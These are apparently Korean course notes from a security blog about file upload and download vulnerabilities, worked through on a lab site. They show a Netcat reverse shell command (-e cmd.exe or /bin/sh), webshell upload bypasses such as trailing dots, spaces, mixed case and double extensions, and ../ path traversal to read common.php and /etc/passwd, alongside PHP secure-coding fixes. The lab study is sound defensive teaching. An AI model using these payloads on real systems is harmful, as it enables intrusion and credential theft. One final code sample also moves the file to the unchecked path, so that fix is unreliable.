리버스 쉘은 서버에서 요청을 하고 클라이언트가 리스닝한 상태에서 응답 후 연결하여 데이터를 주고 받는다.

윈도우7에서 Netcat 을 실행 후 nc -lvp 5555 명령어를 입력하여 5555포트로 리스닝을 해준다. (임의의 포트 리스닝)

윈도우7 netcat 이 설치된 디렉터리에서 아래와 같이 입력하여 5555포트로 리스닝 시도한다.

이후 웹쉘 페이지로 윈도우 7 IP(10.0.2.4)를 조합하여 Netcat 연결을 시도한다.

nc 10.0.2.4 -e cmd.exe

e 옵션에서 쉘을 입력해줘야 하는데, 현재는 웹 사이트의 서버가 윈도우라 cmd.exe 를 입력한것이고, 만약 리눅스인 경우에는 -e bin/sh 또는 -e bin/bash 등 해당 서버에 맞는 쉘을 입력해주면 된다.

nc.exe [공격자 IP] [Port] -e [Shell]

Windows - cmd.exe

Linux/Unix - /bin/sh 또는 /bin/bash

Netcat 연결을 시도하면 윈도우7에서 netcat 연결이되었다는 CMD 창을 확인할 수 있지만, 현재 어떤 오류에 의해서인지 리버스 쉘 연결이 되지 않아 실습을 진행하지 못했다.

리버스 쉘이 연결되었다면, CMD 창에서 리스닝 문구가 아닌 connet to 192.168.56.1 ~ 문구가 확인된다.

이후 ifconfig 명령어를 입력하면 웹 서버의 IP로 변화된 것을 확인할 수 있다.

이를 통해 파일업로드 공격을 통해서 원격 터미널 연결에 성공한 것을 알 수 있다.

이후 whoami, dir 등의 명령어를 사용하여 해당 서버의 계정과 각 디렉터리 및 파일들을 하나씩 살펴볼 수 있게된다.

4) 검증 로직 유형

검증 로직은 파일이 업로드가 될 때, 해당 파일이 정상인지 비정상인지의 기준을 정해서 비정상적인 파일이라는 판단이 될 경우에는 업로드를 중지시키고, 정상적인 파일인경우 업로드를 진행한다

가장 일반적이고 많이 사용되는 로직은 확장자 검증 로직이다.

확장자 검증: 업로드 되는 파일에 대한 확장자가 정상적인지 비정상적인지 검증하는 기법

이미지 검증: 업로드 되는 파일이 이미지인지 아닌지 검증하는 기법

파일 사이즈 검증: 업로드 되는 파일에 대해서 파일에 대한 사이즈가 정해진 업로드 파일 사이즈를 초과하는지 검증(정상 범위내의 파일 용량을 업로드하는지 확인)

5) 확장자 검증 방식에 대한 이해

webshell.jsp

업로드되는 파일은 파일에 대한 확장자를 가지고 있다.

이미지: jpg, png, gif 등

운영체제나 특정 프로그램들은 확장자를 기준으로 파일 타입을 판단한다. (이미지 or 텍스트 or 워드 파일인지 판단)

어플리케이션(WAS) 관점에서는 jsp,php,asp 등 서버 사이드 스크립트 확장자를 인식하게 된다.

서버 사이드 스크립트 확장자를 업로드하게 되면은 WAS가 컴파일한다.

→ 이로 인해 웹쉘 업로드를 하여 시스템 명령어를 전달할 수 있다.

그러므로 WAS에서 웹쉘 업로드를 방지하기 위해 확장자 검증을 한다.

블랙리스트 방식 vs 화이트리스트 방식

방식	장점	단점	알맞은 기능
블랙리스트 방식	다양한 파일 업로드 가능	다양한 우회 가능성 존재	다수 파일 업로드 (예: 자료실)
화이트리스트 방식	우회 가능성이 제한적	다양한 파일 업로드 불가능	특정 파일 업로드 (예: 이미지 업로드)

블랙리스트 방식: 거부할 확장자만 거부, 나머지는 허용

화이트리스트 방식: 허용할 확장자만 허용, 나머지는 거부

오늘날에는 화이트리스트 방식을 많이 사용하며, 인라인 보안 장비 WAF에서도 파일 업로드에 대해 화이트리스트 검증 방식을 사용하는 경우가 있다. (보안상 화이트리스트 방식이 좀 더 유리하다.)

확장자 검증 동작 원리

step 1) 사용자가 파일을 업로드

- 파일명을 받는다.

step 2) 확장자 파싱

- 파일명에서 확장자를 파싱한다.

step 3) 확장자 검증

- 화이트리스트 또는 블랙리스트 방식으로 검증

- 화이트리스트 방식은 화이트리스트에 등록된 확장자만 업로드

- 블랙리스트 방식은 블랙리스트에 등록된 확장자는 거부

step 4) 파일 업로드 여부 확인

- 파일 업로드 여부 확인하여 업로드

실습8-3 개발자분들이 자주 실수하는 잘못된 대응 방안 적용

Case 1) 검증 되지 않는 확장자 사용

→ 블랙리스트 방식

Case 2) 빈 값 검증 미흡

→ 윈도우 서버 환경, 블랙리스트 방식

case 2-1) test.php.

→ . 입력

case 2-2) test.php[공백]

→ 확장자 뒤에 공백을 입력

Case 3) 대문자 검증 미흡

→ 윈도우 서버 환경, 블랙리스트 방식

Case 4) 잘못된 확장자 파싱

→ test.png.php 등의 확장자를 인식할 때 어플리케이션에서 앞의 확장자를 파싱하는 경우, 화이트/블랙리스트 방식

Case 1) 검증 되지 않는 확장자 사용

- php 확장자 사용하지 않도록 코드 추가

action.php 에 게시글 작성부분에 php 확장자 검증 로직 추가

if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = $file_info["extension"];

			if($ext == "php") {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

pathinfo()

→ 파일 경로에 대한 정보를 반환하는 함수. 옵션에 따라 연관 배열 또는 문자열로 반환한다.

$ext 에 확장자가 파싱됨.

위 코드 저장 후 insecure_website 에서 php 확장자를 가진 웹쉘 업로드를 시도한다.

아래와 같이 허용된 확장자가 아니라는 메시지가 확인된다.

php 확장자를 검증하고 있다는 의미이다.

버프스위트를 켜고 webshell.php 업로드를 할 때 intercept on 후 php를 html 로 확장자를 변경한다.

html 로 확장자 변경 후 intercept off 를 한다.

아래와 같이 html 확장자로 업로드 된것을 확인할 수 있다.

업로드된 파일의 경로에 접속해본다.

http://192.168.56.1/insecure_website/upload/webshell.html ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )

다음과 같이 시스템 명령이 실행되는 것을 확인할 수 있다.

php가 서버 사이드 스크립트 확장자인데 html 은 왜 실행이될까?

Tomcat, Java Web Application 에서는 html 은 서버 사이드 스크립트로 실행되지 않는다.

다음 경로로 가서 서버의 설정 파일을 확인해본다.

C:\APM_Setup\Server\Apache\conf\extra\httpd-php5.conf

php 와 html 이 서버 사이드 스크립트로 인식이 되도록 설정값으로 적용되어 있는 상태이다.

그러므로 html이 서버 사이드 스크립트로 인식되어 webshell.html 로 업로드 시 시스템 명령어 실행이 가능했던 것이다.

이런 경우 php 와 html 확장자 모두 검증하여 업로드 할 수 없도록 한다.

action.php 에 게시글 작성부분에 html 확장자 검증 로직 추가

if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = $file_info["extension"];

			if($ext == "php" || $ext =="html") {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

Case 2) 빈 값 검증 미흡

- 확장자에 빈 값이 들어오는 경우

insecure_website 에 webshell.php 를 업로드 하는데, 확장자 부분에 . 을 입력하여 확장자 검증을 우회해본다.

버프스위트 intercept on 후 게시글을 작성하면 아래와 같이 버프스위트 화면이 확인된다.

php 확장자 끝 부분에 . 을 입력한 후 intercept off 를 한다.

다음과 같이 게시글 업로드가 확인된다.

http://192.168.56.1/insecure_website/upload/webshell.php 로 접속한다. ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )

접속이 되는 것을 확인할 수 있다.

해당 파일이 업로드된 디렉터리로 이동한다.

위치: C:\APM_Setup\htdocs\insecure_website\upload

webshell.php. 을 업로드했는데, webshell.php 가 업로드 된 것을 확인할 수 있다.

php 확장자 끝에 . 을 입력하고 엔터를 누르면 . 이 사라지고 php 만 남게된다. (윈도우 환경에서는 확장자 끝부분의 점이 사라진다.)

어플리케이션에서는 마지막에 있는 문자를 확장자로 인식하게 된다.

→ 빈 값이 들어오게 된다.

소스코드에는 php 와 html 만 허용하지 않으므로 빈 값은 우회하여 업로드가 가능해진다.

빈값에 대한 검증 로직도 들어가야 한다.

< action.php 에 빈 값 검증 로직 추가 >

			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = $file_info["extension"];

			if($ext == "" || $ext == "php" || $ext =="html") {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

소스코드 적용 후 다시 업로드를 시도해본다.

위와 같이 업로드가 불가한 것을 확인할 수 있다.

하지만 빈 값 검증에는 . 입력 이외에도 한 가지 케이스가 더 존재한다.

확장자 뒤에 공백을 입력하는 것이다.

case 2-1) test.php.

case 2-2) test.php[공백]

기존의 업로드 된 파일은 삭제 한다. (upload 디렉터리에서 삭제)

다음과 같이 게시글 업로드 시 확장자 끝 부분에 공백을 두고 업로드 한다.

다음과 같이 업로드에 성공한 것을 확인할 수 있다.

upload 디렉터리를 확인해보니 webshell.php 가 업로드된 것을 확인할 수 있다.

insecure_website 에서 웹쉘 업로드 위치로 접속한다.

http://192.168.56.1/insecure_website/upload/webshell.php

웹쉘이 업로드 되었으며, 시스템 명령어 실행도 된다.

왜 공백을 두고 업로드 하였는데 php로 업로드 되었을까?

확장자 뒤에 공백이 오면 윈도우 서버 자체에서 공백을 삭제한다.

어플리케이션 관점에서는 .php 와 .php[공백]은 다른 파일이므로 우회가 되서 업로드 되지만, 운영체제에서는 공백 자체를 삭제하므로 .php 로 인식하게 된다. → 어플리케이션과 운영체제에서 인식되는 차이점을 이용해서 우회

소스코드에는 다음과 같이 적용이 가능하다.

trim 함수를 적용한다.

trim() 함수: 문자열 의 맨 앞과, 맨 뒤 의 공백을 제거

< action.php 에 trim 함수 추가 >

			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = trim($file_info["extension"]);

			if($ext == "" || $ext == "php" || $ext =="html") {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

소스코드 수정 후 upload 디렉터리에 있는 webshell.php 를 삭제 후 다시 업로드를 시도해본다.

다음과 같이 소스코드에 trim 이 적용되어 공백도 검증하게된다.

Case 3) 대문자 검증 미흡

배열을 사용하여 코드를 좀 더 깔끔하게 작성해본다.

in_array(확인할 값, 배열, 자료형 확인 여부 = FALSE)

in_array 사용하여 $ext 안에 $ext_arr 배열에 있는 값이 존재하면 허용하지 않는다.

→ 확장자안에 공백, php, html 이 있다면은 허용하지 않는다.

			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = trim($file_info["extension"]);
			$ext_arr = array("", "php", "html");

			if(in_array($ext, $ext_arr)) {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

소스코드 적용 후 공백, php, html 이 포함된 webshell.php 를 업로드하니 업로드가 되지 않았다.

이번에는 php 확장자를 대문자로 입력하여 업로드를 시도한다.

webshell.phP

다음과 같이 업로드가 된 것을 확인할 수 있다.

웹 서버의 upload 디렉터리를 확인해보니 실제로 파일이 생성된 것을 확인할 수 있다.

192.168.56.1/insecure_website/upload/webshell.phP 에 접속을 시도한다.

시스템 명령어를 실행하니 정상적으로 실행되는 것을 확인할 수 있다.

이를 통해 윈도우 서버 환경에서 대문자 확장자에 대한 우회가 가능한 것을 알 수 있고, 대문자 확장자에 대한 검증이 필요하다.

PHP의 strtolower () 함수를 사용하여 문자열을 소문자로 변경해준다.

< action.php 에 strtolower 함수 적용 >

			# 검증 로직 적용
			$file_info = pathinfo($uploadPath);
			$ext = strtolower(trim($file_info["extension"]));
			$ext_arr = array("", "php", "html");

			if(in_array($ext, $ext_arr)) {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

소스코드 적용 후 다시 확장자를 대문자(webshel.phP)로 변경하여 업로드를 시도해본다.

위와 같이 검증 로직이 정상적으로 적용된 것을 확인할 수 있다.

Case 4) 잘못된 확장자 파싱

잘못된 확장자 파싱을 실습하기 위해서는 기존의 검증 로직을 먼저 주석 처리한다.

strpos()
→ 문자열이 처음 나타나는 위치를 찾는 함수로 위치 값을 정수로 반환한다.

→ 대상 문자열을 앞에서부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴하는 함수

substr()
→ 문자열에서 주어진 특정 위치부터 특정 길이만큼의 문자열을 잘라서 추출하는 함수

< action.php 에 화이트리스트 방식으로 검증 로직 적용 >

			# 검증 로직 적용
			$ext_offset = strpos($uploadFile, ".");
			$ext = substr($uploadFile, $ext_offset + 1, 3);

			if($ext != "png" && $ext != "gif" && $ext != "jpg") {
				echo("<script>alert('파일 업로드를 실패하셨습니다.');history.back(-1);</script>");
				exit;
			}

$ext_offset 은 . 의 위치를 반환받는다.

$ext 는 $ext_offset 에서 반환받은 . 위치 이후 첫번째 위치부터 3 Byte 까지 반환받는다.

예를 들어 test.png 파일을 업로드 하는 경우, . 이후에 png 문자열을 반환받는다는 의미이다.

. 이후의 문자(확장자)를 3 Byte 까지 (세글자) 반환받는다는 의미이다.

결론적으로 확장자가 png, gif, jpg 가 아닌 경우 업로드를 허용하지 않는다는 소스코드이다.

→ png, gif, jpg 등 이미지 파일이 아니면 허용하지 않는 화이트리스트 방식

webshell.php 를 업로드 시도 하였더니 다음과 같이 업로드를 실패하였다는 에러 메시지가 확인된다.

이번에는 webshell.png.php 를 업로드하여 파일 업로드 우회를 시도한다.

다음과 같이 업로드 된 것을 확인할 수 있다.

http://192.168.56.1/insecure_website/upload/webshell.png.php 로 접속해본다.

성공적으로 접속이 가능하며 시스템 명령어 실행도 가능한 것을 확인할 수 있다.

이렇게 우회하는 경우 어떻게 대응해야 할까?

확장자를 뒤에서 부터 검증하는 코드를 적용하면 된다.

strrpos ()
→ 대상 문자열을 뒤에서 부터 검색하여 찾고자 하는 문자열이 몇 번째 위치에 있는지를 리턴하는 함수

< action.php 에 화이트리스트 방식으로 뒤 문자열부터 검증하는 로직 적용 >

			# 검증 로직 적용
			$ext_offset = strrpos($uploadFile, ".");
			$ext = substr($uploadFile, $ext_offset + 1, 3);

			if($ext != "png" && $ext != "gif" && $ext != "jpg") {
				echo("<script>alert('파일 업로드를 실패하셨습니다.');history.back(-1);</script>");
				exit;
			}

소스코드 적용 후 이전과 같이 webshell.png.php 업로드를 시도해본다.

확장자 뒤 문자열 부터 검증하는 로직이 적용되어 업로드에 실패한 것을 확인할 수 있다.

6) 대응 방안

파일업로드 취약점은 파급력을 크지만 대응하기에는 어렵지 않다.

1. 파일명에 대한 검증

2. 올바른 업로드 경로 설정(서버 사이드 스크립트가 실행되지 않는 경로 - WAS의 웹 디렉터리 X)

1. 파일명에 대한 검증

서버 측에서 파일명 생성(DB에 정보 저장)

- Origin : test.png (업로드 및 다운로드 시 파일명)

- Real : abcd.png (서버 측에서 생성하는 파일명 = 실제 서버에 업로드 되는 파일명)

확장자 검증은 화이트리스트 방식을 추천한다. ( 블랙리스트 방식보다 안전함 )

확장자 검증은 정방향이 아닌, 역방향으로 한다. (뒤에서 부터 검증, png.php 등 여러 개 확장자 사용하여 우회하는 것을 방지)

시간 또는 랜덤 문자열로 파일명을 생성한다. (+검증 완료된 확장자)

핵심은 서버에서 파일명을 생성한다는 것이 중요하다.

왜 사용자가 업로드한 파일명 그대로 저장하지 않을까?

1. 보안 관점 - 파일명을 통해서 공격자가 어떤 행위를 할지 모른다. (Null 값 삽입, 콜론 삽입 등 조작 가능)

2. 예외 사항 - 운영체제에서 생성될 수 없는 파일명이 업로드되는 경우 기능상 문제가 발생할 수 있기 때문에(인코딩 에러로 파일을 다운로드 받을 수 없음)

서버 측에서 생성된 파일명 + 검증된 확장자 => 파일 업로드

→ abcd1234.png

파일명에 대한 검증

화이트리스트 방식으로 적용, 서버 측에서 랜덤으로 값을 생성한 파일명+확장자로 파일을 업로드

사용자가 업로드한 파일명, 서버 측에서 생성한 파일명을 DB에 저장한다.

2. 올바른 업로드 경로 설정

올바른 업로드 경로 설정 - 서버 사이드 스크립트가 실행되지 않는 경로(WEB-INF)

기능별 업로드 경로를 세분화를 하고 올바른 업로드 경로(WEB-INF)로 설정했음에도 불구하고 취약점이 발생되는 경우가 있다.

→ 공격자가 경로에 들어오는 사용자 입력값을 변조하여 웹 디렉터리로 업로드 할 수 있음, 일부 경로를 입력받는 부분에 대해서도 입력값 검증 절차가 구현되어 있어야 한다. (gubun 파라미터 - notice, image 등으로 업로드 경로 구분하는 경우, 해당 파라미터에도 특수문자가 들어가는지 검증해야함)

올바른 업로드 경로 설정

웹 디렉터리가 아닌 곳에 업로드 하는 경우 업로드 디렉터리가 세분화가 되어 있는 경우가 많이 있음

경로 세분화가 되어 있을 경우 입력 값 검증이 반드시 필요함(경로 이동을 통해서 웹 디렉터리에 업로드 시도 가능)

\ 를 / 문자로 치환하거나 / 나 .. 있는 경우 예외처리, 정규 표현식을 통해서 A-Za-z0-9 문자만 허용

파일이 업로드 될때 일부 경로(gubun)를 받는 로직을 확인하고 입력값 검증 절차가 구현되어있지 않은 경우에는 경로가 변조되지 않도록 검증 로직이 반드시 구현되어 있어야 한다.

실습8-5 취약 환경 시큐어 코딩 적용 실습

action.php 에서 이전에 적용했던 검증 로직 코드는 삭제한다.

시큐어 코딩을 적용해야 할 부분은 write(게시글 작성), modify(게시글 수정) 부분이다.

먼저 write(게시글 작성) 부분에 시큐어 코딩을 적용한다.

실제로는 파일 업로드 시 Original 파일명이 출력되어야 하지만, insecure_website 게시판 특성 상 서버에서 작성한 파일명으로 출력된다.

			# 검증 로직 적용 - 화이트리스트 방식
			$file_info = pathinfo($uploadFile);
			$ext = strtolower($file_info["extension"]);
			$ext_white_arr = array("png", "jpg", "gif");
			
			if(!in_array($ext, $ext_white_arr)) {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

			$final_filename = sha1($uploadFile.time());
			$final_filename .= ".".$ext;
			$final_uploadPath = "{$upload_path}/{$final_filename}";


			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$uploadFile = $db_conn->real_escape_string($uploadFile);
		$content = str_replace("\\r\\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$final_filename}', '{$secret}', now())";
		$db_conn->query($query);

시큐어 코딩 적용 후 png 파일을 업로드 시도한다.

다음과 같이 서버에서 설정한 파일명으로 변경된 것을 확인할 수 있다.

upload 디렉터리 확인 시 실제 업로드 된 파일명은 1.png 로 확인된다.

write 부분에 화이트리스트로 적용한 코드는 주석 처리하고 이번에는 블랙리스트로 시큐어 코딩을 적용한다.

블랙리스트 방식으로 적용 시에는 우회 포인트가 발생하지 않도록 확장자를 미리 파악해야 한다.

블랙리스트 방식으로 적용할 확장자는 공백, php, html 이다.

			# 검증 로직 적용 - 블랙리스트 방식
			$file_info = pathinfo($uploadFile);
			$ext = strtolower(trim($file_info["extension"]));
			$ext_black_arr = array("", "php", "html");
			
			if(in_array($ext, $ext_black_arr)) {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

strtolower() 함수 사용

trim() 함수 사용

webshell.php 를 업로드 시도해본다.

다음과 같이 허용된 확장자가 아니라는 메시지가 확인된다.

블랙리스트로 등록된 확장자가 아닌 일반 파일을 업로드 시도해본다.

다음과 같이 업로드가 성공적으로 된 것을 확인할 수 있다.

현재 insecure_website 게시판 특성 상 Original 파일로 업로드해도 서버에서 생성한 파일명으로 확인된다.

실제 현업에서는 다운로드 받을 때는 Original 파일명으로 다운로드 받을 수 있게 되어 있는 환경으로 구성해야 한다.

지금 환경에서는 블랙리스트 방식은 주석 처리하고, 화이트리스트 방식을 사용한다.

modify(게시글 수정)부분에도 화이트리스트 방식으로 적용해준다.

			# 검증 로직 적용 - 화이트리스트 방식
			$file_info = pathinfo($uploadFile);
			$ext = strtolower($file_info["extension"]);
			$ext_white_arr = array("png", "jpg", "gif");
			
			if(!in_array($ext, $ext_white_arr)) {
				echo("<script>alert('허용된 확장자가 아닙니다.');history.back(-1);</script>");
				exit;
			}

			$final_filename = sha1($uploadFile.time());
			$final_filename .= ".".$ext;
			$final_uploadPath = "{$upload_path}/{$final_filename}";

			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}

			$uploadFile = $final_filename;

이전에는 $final_filename 을 하나하나씩 적용해주었는데, 기존에 사용하는 $uploadFile 변수에 넣고 일괄로 적용해준다.

기존 1.png 파일을 ha.png 파일로 수정하였으며, 성공적으로 수정된 것을 확인할 수 있다.

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

파일 다운로드 취약점

Security Engineer — Mon, 10 Feb 2025 22:00:45 +0900

1) 파일 다운로드 취약점이란 무엇인가?

File Download Vulnerability

- 사용자가 파일을 다운로드 받을 때 발생되는 취약점

- 서버에 있는 파일을 다운로드 받는 기능에 대해서 정상적인 파일이 아닌 비정상적인 파일을 다운로드 받는 취약점

- 공격 대상: 파일 다운로드 기능

일반 사용자는 파일 다운로드 기능을 사용하여 지정된 경로에서 정상 파일을 다운로드 받는다.

공격자는 파일 다운로드 기능을 사용하여 지정되지 않은 경로에서 비정상 파일을 다운로드 받는다.

→ 파일 다운로드 할 수 있는 경로를 변조

→ 경로 이동 문자(../) 사용하여 지정된 경로가 아닌 상위 디렉터리에서 소스코드, 서버 설정 파일 등을 다운로드

정상 파일: 지정된 경로에서 다운로드 받는 파일

비정상 파일: 지정된 경로가 아닌 경로에서 다운로드 받는 파일

결론

- 파일 다운로드 기능에 사용하여 비정상적인 파일을 다운로드 받는 취약점

- 경로 이동 문자를 삽입하여 지정된 경로가 아닌 경로에서 비정상적인 파일을 다운로드 받음

- 파일 다운로드 시 지정된 경로를 벗어날 수 있다면 파일 다운로드 취약점이 존재한다고 볼 수 있다.

2) 공격 원리 분석

어플리케이션 관점에서 공격자가 파일 다운로드 기능에 대해서 파일 다운로드 취약점 공격을 할 때 어떻게 동작하는지 확인

step 1) 공격자로부터 입력값을 받음

- /webroot/upload/ 경로에서 파일 다운로드를 받는 기능이 존재

- 사용자로부터 파일명을 입력 받음, ex) 운동화.png, 북한산풍경.png, 배경1.png

- 공격자는 리눅스 시스템에 등록된 사용자 정보가 담긴 /etc/passwd 파일을 다운로드 하기 위해 ../ 를 사용함

- 경로 이동 문자 ../ 를 사용하여 상위 디렉터리로 이동하게 되며, /etc/passwd 경로의 위치에 상관없이 ../ 를 많이 사용하여 최상단 경로로 도달하면 됨 → 최상단 디렉터리로 이동하기 위해 ../../etc/passwd 를 사용해도 되지만, ../../../etc/passwd 를 사용해도된다.

- 클라이언트 관점에서는 서버 사이드에서 웹 서버 파일의 경로가 어떻게 구성되어 있는지 모르기 때문에, 경로 이동 문자 ../ 를 최상단에 도달할 때까지 사용해도 된다.

step 2) 사용자 입력값과 기존의 경로가 조합됨

- 경로 이동 문자 ../ 가 존재함으로써 상위 경로로 이동하게 됨

step 3) 사용자 입력값 + 기존 경로를 조합한 경로의 파일 입력하여 파일을 호출

- 서버 내 ../../etc/passwd 경로의 파일을 불러옴

step 4) HTTP 응답 메시지 제작 및 전송

- 공격자가 요청한 ../../etc/passwd 파일을 받은 후, HTTP 응답 메시지를 제작하여 공격자에게 전송

파일 다운로드 취약점의 핵심 포인트는 기존 경로의 강제 변조이다.

3) 공격 방법

CASE 1 : 단순히 파일명만 받는 경우

- 소/중규모 웹 서비스일 가능성이 높다

- 리눅스/유닉스의 경우에는 ../../etc/passwd 를 주로 사용하지만, 윈도우는 최상위 디렉터리에 받을것이 없다. (윈도우는 파티션을 분리해놓기 때문에 최상위 디렉터리에 디폴트로 된 것이 없다. - 전체 경로를 받지 않는 이상 파티션 이동이 불가)

- 윈도우는 파일 다운로드 시 지정된 경로가 웹 디렉터리인 경우 index 파일을 받음

- 경로 이동 문자 ../ 를 삽입하여 지정된 경로를 벗어날 수 있음

CASE 2 : 사용자로부터 일부의 경로(path), 파일명(filename)을 입력 받는 경우

- 중/대규모 웹 서비스일 가능성이 높다.

- 파일 경로 세분화, 게시판 분류별로 디렉터리를 분류(notice, image, event 등등) → 다수의 사용자인 경우 용이하게 관리하기 위해 사용

- 일부 경로를 받는 부분에 ../ 문자를 삽입해도 되고, 파일명에 ../ 문자를 삽입해도 된다.

CASE 3 : 전체 경로(Full path)가 나온 경우, 잘못된 예시

- 전체 경로를 표시하는것은 불필요하다. → 공격자에게 큰 힌트가 됨

- 일부 경로만 공개하는 것이 바람직한 설계

- 공격자는 /etc 경로만 입력해도 공격이 가능, ../ 입력하지 않아도 됨

운영 체제별 경로 구분 기호

OS	구분 기호(Separator)
Unix, Linux	/
Windows	/ \ (역 슬래시)

Windows 는 / 와 \ 둘다 가능하므로, 두 가지다 염두에 두고 공격과 방어를 해야 한다.

실습7-1 파일 다운로드 취약점 공격 실습

파일 다운로드 공격 실습을 위해서 파일 다운로드 기능을 먼저 찾아야 한다.

업로드된 게시글을 참조해서 파일 다운로드 기능을 확인해야 한다.

먼저 게시글을 작성하며 임의의 txt 파일을 업로드 한다.

게시글 작성 후, 게시글을 클릭하여 버프스위트에서 Intercept On 클릭 후 파일 다운로드를 시도한다.

파일을 클릭하면 다음과 같이 요청 메시지가 전송된다.

해당 요청을 리피터로 보낸다.( Ctrl + R )

리피터로 요청을 보낸 후 해당 페이지에 파일 다운로드 취약점이 있는지 확인해본다.

무작정 ../ 를 삽입하는것이 아닌, 입력값에 대한 검증이 있는지 먼저 확인해본다.

/ 는 경로를 구분할 수 있는 구분 기호가 된다.

/ 를 먼저 입력 후 / 가 통하는지 요청을 보내본다. ( ctrl + space 또는 상단 좌측의 send 버튼 클릭 )

text_file.txt 내 문자열이 test 인 것이 확인된다. 이를 통해 성공적으로 다운로드 되는 것을 알 수 있다.

다음은 \ 역슬래시를 입력하여 통하는지 확인해본다.

\ 역슬래시를 입력해도 파일이 다운로드 되는 것을 보아 웹 서버가 윈도우라는 것을 알 수 있다.

./ 에 대한 입력감 검증 절차가 있는지 확인해보기 위해 ./ 를 입력하여 요청을 보낸다.

./ 는 현재 경로를 의미한다.

./ 입력을 해도 다운로드가 되는 것을 보아 ./ 에 대한 입력값 검증 절차는 없는 것으로 판단된다.

./ 가 삭제되는지 확인하기위해 파일명 중간에 넣어본다.

./ 가 삭제되지 않았다.

../ 를 입력하여 요청을 보낸다.

../ 는 상위 디렉터리로 이동하는 경로 이동 문자이다.

../ 를 입력하여 요청을 보내니 파일 다운로드가 되지 않았다. (txt 파일 내 test 문자열 확인되지 않음)

./ 를 입력하면 파일 다운로드가 되지만 ../ 를 입력하면 파일 다운로드가 되지 않았다.

현재 웹 사이트는 소규모 웹사이트로 upload 폴더 1개에 test_file.txt 파일이 업로드되어 있다. (업로드 경로 1개)

그러므로 정상적으로 파일을 다운로드 받는 경로는 upload 폴더 외 다른 폴더는 없다고 볼 수 있다.

../ 를 입력하게 되면 upload 폴더가 아닌 더 상위 폴더로 올라가게 되는데, 해당 폴더 내에는 test_file.txt 파일이 존재하지 않으므로 파일이 다운로드 되지 않았던 것이다. 만약 해당 상위 폴더 내 test_file.txt 파일이 존재한다면 다운로드가 가능할 것이다.

여기서 중요한 것은 ./test_file.txt 파일과 ../test_file.txt 파일은 엄연히 다른 파일이다.

(upload/test_file.txt 와 상위 폴더/upload/test_file.txt 차이)

상위 폴더에 올라갔다는 가정하에 특정 파일을 다운로드 받아야하는데 이때 주로 시도해보는 것은 index.php 파일이다.

웹 디렉터리에는 보통 index.php 파일이 존재하므로 상위 디렉터리가 웹 디렉터리임을 가정하고 index.php 파일 다운로드를 시도해본다.

../index.php 를 입력하여 send 요청을 보낸다.

응답값을 통해 index.php 파일을 성공적으로 다운로드 받는 것을 확인할 수 있다.

이를 통해 업로드 디렉터리(upload)의 상위 디렉터리가 웹 디렉터리임을 알 수 있다.

다운로드 관점에서는 소스코드를 다운로드 받을 수 있고, 업로드 관점에서는 웹쉘 업로드 여부를 파악할 수 있기 때문에 웹 디렉터리를 파악하는 것이 중요하다.

웹 아키텍처 구조상 클라이언트 - 서버로 이루어져 있는데, 클라이언트에서는 서버 사이드 스크립트를 확인할 수 없지만 파일 다운로드 취약점을 통해서 index.php 를 다운로드 받아 서버 사이드 스크립트로 작성된 코드를 확인할 수 있게 되었다.

common.php 도 다운로드를 시도해본다.

../common.php 를 입력하여 send 요청을 보낸다.

위와 같이 common.php 도 정상적으로 다운로드되는 것을 확인할 수 있다.

이를 통해 데이터베이스 접속 정보, ID와 PW, DB 정보도 획득할 수 있게 되었다.

이렇게 파일 다운로드 취약점이 존재하는 경우에는 공격자는 어플리케이션에 있는 코드를 모두 확인할 수 있어 추가 취약점을 찾기에도 용이하다. (소스코드 기반 진단 가능)

또한 파일 업로드 취약점과 연계가 되기 때문에 파일 업로드할때 어떤 로직을 통해 업로드 되는지 확인이 가능하여 웹쉘을 업로드 할 수 있게 된다.

실무에서 취약점 진단 시 파일 다운로드 취약점이 존재하는 경우 파급력이 굉장히 크다.

(서버 내 여러 설정 파일 및 소스코드 확인이 가능)

common.php 파일을 확인해보니 웹 서버의 업로드 경로를 확인할 수 있다.

upload 폴더가 해당 웹 사이트의 파일 업로드 경로라는 것을 알 수 있다.

웹 서버의 업로드 디렉터리를 확인했으니 ../upload/test_file.txt 를 입력하여 파일 다운로드가 되는지 확인해본다.

text_file.txt 파일 다운로드가 확인되며, 파일 내 test 문자열이 확인되었다.

